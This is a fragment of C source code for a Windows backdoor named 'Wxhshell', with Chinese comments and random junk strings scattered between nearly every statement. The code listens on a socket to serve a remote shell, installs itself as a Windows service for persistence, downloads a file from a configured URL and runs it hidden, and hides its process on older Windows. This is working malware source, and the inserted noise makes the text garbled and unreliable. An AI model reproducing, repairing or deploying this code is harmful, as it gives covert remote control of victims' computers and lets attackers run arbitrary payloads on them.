5jj<sj!S CloseHandle(hProcess); dtK[H+ pi>,>-Z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t)Iu\bP if(hProcess==NULL) return 0; '\I.P p'lL2n$E HMODULE hMod; !,rp| char procName[255]; gZ!vRO<% unsigned long cbNeeded; wnaT~r@U' aS^
4dEJ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "3kIQsD|j /{eD##vhP CloseHandle(hProcess); sN6R0YW gO0X-fN8 if(strstr(procName,"services")) return 1; // 以服务启动 `QH-VR\_ NaeG2>1 return 0; // 注册表启动 x|#R$^4CY } JXG%Cx!2} S#IlWU // 主模块 Cr?|bDv}o int StartWxhshell(LPSTR lpCmdLine) !J 3dlUFRO { qpo3b7(N SOCKET wsl; ,KXS6:1%5Y BOOL val=TRUE; )aW;w |#n int port=0; wS*An4%G struct sockaddr_in door; t'msgC6=>u 7Eoa~ if(wscfg.ws_autoins) Install(); +,` Cv_O -L;sv0 port=atoi(lpCmdLine); ?0%yDq1_ s?=v@|vz) if(port<=0) port=wscfg.ws_port; #0K122oY oyQp"'|N WSADATA data; Pr
|u_^ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
.;ptgX 0PiD<*EA if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +!dWQ=W setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qh4@Nl#Ncf door.sin_family = AF_INET; ~x:\xQti door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ks|qJ3; door.sin_port = htons(port); muMb pF ZWZRG-:&H if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5Jo><P a closesocket(wsl); /U
|@sw4 return 1; cG)i: } fq-zgqF< K-%x]Fp= if(listen(wsl,2) == INVALID_SOCKET) { Ns ?8N": closesocket(wsl); ,{"%-U#z return 1; )bJS*# } vbH?[Zr? Wxhshell(wsl); $a'n{EP WSACleanup(); OEz'&))J (9!$p|d* return 0; A*;I}F ya[][!.G } %,HuG-L 84xA/BR W // 以NT服务方式启动 F` /mcyf VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =o g5Mh, { x|>N DWORD status = 0; 5F#Q1gP- DWORD specificError = 0xfffffff; BCH{0w^D `zQ2i}Uju serviceStatus.dwServiceType = SERVICE_WIN32; TQXp9juK serviceStatus.dwCurrentState = SERVICE_START_PENDING; QWqEe|}6 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s&T"/4 serviceStatus.dwWin32ExitCode = 0;
V1[Cc?o serviceStatus.dwServiceSpecificExitCode = 0; u\LbPk serviceStatus.dwCheckPoint = 0; *G'R+_tdE serviceStatus.dwWaitHint = 0; vuL;P"F4& g^ @9SU hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nnP]x [ if (hServiceStatusHandle==0) return; ^[]q/v'3m! 3em&7QM status = GetLastError(); [1OX:O| if (status!=NO_ERROR) rCOH*m& { 0)@7$Xhf serviceStatus.dwCurrentState = SERVICE_STOPPED; >A'Q9Tia; serviceStatus.dwCheckPoint = 0; '@~\(SH serviceStatus.dwWaitHint = 0; \Y37wy4 serviceStatus.dwWin32ExitCode = status; m tPmVze serviceStatus.dwServiceSpecificExitCode = specificError; woQ UrO( SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1N8:,bpsT return; bFV+|0 } K) e;*D {#-I;I: serviceStatus.dwCurrentState = SERVICE_RUNNING; ^0 zWiX serviceStatus.dwCheckPoint = 0; ,C4gA(')K serviceStatus.dwWaitHint = 0; 58TH|Rj+I if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); = JE4C9$, } 28/At s&>U-7fx" // 处理NT服务事件,比如:启动、停止 2[^p6s[ VOID WINAPI NTServiceHandler(DWORD fdwControl) E=G"_
^hCE {
Zo=w8Hr switch(fdwControl) I.C,y\ { NeG$;z7 case SERVICE_CONTROL_STOP: i3bDU(GS serviceStatus.dwWin32ExitCode = 0; rn$LZE
% serviceStatus.dwCurrentState = SERVICE_STOPPED; UbWeE,T~S serviceStatus.dwCheckPoint = 0; bSK> p3 serviceStatus.dwWaitHint = 0; A*&`cUoA { u\)2/~<] SetServiceStatus(hServiceStatusHandle, &serviceStatus); w$E8R[J~P } 9 E@}@ZV( return; @51!vQwqR case SERVICE_CONTROL_PAUSE: #Cj$;q{! serviceStatus.dwCurrentState = SERVICE_PAUSED; {*#}"/:8K break; )GbVgYkk case SERVICE_CONTROL_CONTINUE: Ptj,9bf<\ serviceStatus.dwCurrentState = SERVICE_RUNNING; S"}G/lBx. break; @ V_@r@A case SERVICE_CONTROL_INTERROGATE: ;v}f7v ' break; M1>2Q[h7 }; z8MKGM SetServiceStatus(hServiceStatusHandle, &serviceStatus); }&E'ox<S } ]]R!MnU:$ P~6QRm // 标准应用程序主函数 (x+C=1, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h;s~I/e( { Mk:k0,z ^@"H(1Hxu/ // 获取操作系统版本 APne! OsIsNt=GetOsVer(); D@-'<0= GetModuleFileName(NULL,ExeFile,MAX_PATH); ,McwPHEMB c8R#=^ DD // 从命令行安装 t<UtSkE1 if(strpbrk(lpCmdLine,"iI")) Install(); !)!<.x 58v q5j<V // 下载执行文件 4u!<3-3Zy if(wscfg.ws_downexe) { <@+>A$~0 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }3^b1D>2O WinExec(wscfg.ws_filenam,SW_HIDE); G1:*F8q } {[
E7Cf ;usv/8 if(!OsIsNt) { LTof$4s // 如果时win9x,隐藏进程并且设置为注册表启动 ].A>ORS/ HideProc(); 1\hh,s StartWxhshell(lpCmdLine); P&6hk6# } Q&JnF`* else E0SP if(StartFromService()) @c>a // 以服务方式启动 o ?9k{ StartServiceCtrlDispatcher(DispatchTable); equ|v~@y else r[u@[ // 普通方式启动 Nt>wzPd) StartWxhshell(lpCmdLine); E~b Yk6 2r0u[ return 0; bD: yu }
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